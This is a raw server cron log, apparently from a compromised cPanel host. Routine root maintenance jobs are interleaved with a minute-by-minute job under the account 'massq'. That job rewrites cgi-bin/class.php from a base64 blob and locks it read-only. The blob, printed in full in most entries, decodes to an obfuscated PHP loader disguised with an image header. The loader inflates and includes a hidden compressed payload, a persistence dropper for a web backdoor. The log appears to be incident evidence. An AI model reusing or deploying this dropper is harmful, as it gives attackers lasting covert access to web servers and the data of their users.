Sep 12 21:18:01 server CROND[28394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:18:01 server CROND[28395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:19:01 server CROND[28780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:19:01 server CROND[28781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:19:01 server CROND[28782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:20:01 server CROND[29221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:20:01 server CROND[29222]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 21:20:01 server CROND[29225]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:20:01 server CROND[29229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:20:01 server CROND[29230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:20:01 server CROND[29227]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:20:01 server CROND[29231]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:20:01 server CROND[29228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:20:01 server CROND[29232]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:21:01 server CROND[30073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:21:01 server CROND[30072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:21:01 server CROND[30074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:22:01 server CROND[30460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:22:01 server CROND[30461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:22:01 server CROND[30462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:23:01 server CROND[30949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:23:01 server CROND[30950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:23:01 server CROND[30951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:24:01 server CROND[31337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:24:01 server CROND[31339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:24:01 server CROND[31338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:25:01 server CROND[31720]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:25:01 server CROND[31722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:25:01 server CROND[31725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:25:01 server CROND[31723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:25:01 server CROND[31724]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:25:01 server CROND[31728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:25:02 server CROND[31740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:26:01 server CROND[32547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:26:01 server CROND[32548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:26:01 server CROND[32550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:27:01 server CROND[483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:27:01 server CROND[485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:27:01 server CROND[484]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 21:27:01 server CROND[486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:28:01 server CROND[1102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:28:01 server CROND[1103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:28:01 server CROND[1104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:29:01 server CROND[1533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:29:01 server CROND[1534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:29:01 server CROND[1535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:30:01 server CROND[1933]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:30:01 server CROND[1938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:30:01 server CROND[1939]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:30:01 server CROND[1943]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:30:01 server CROND[1947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
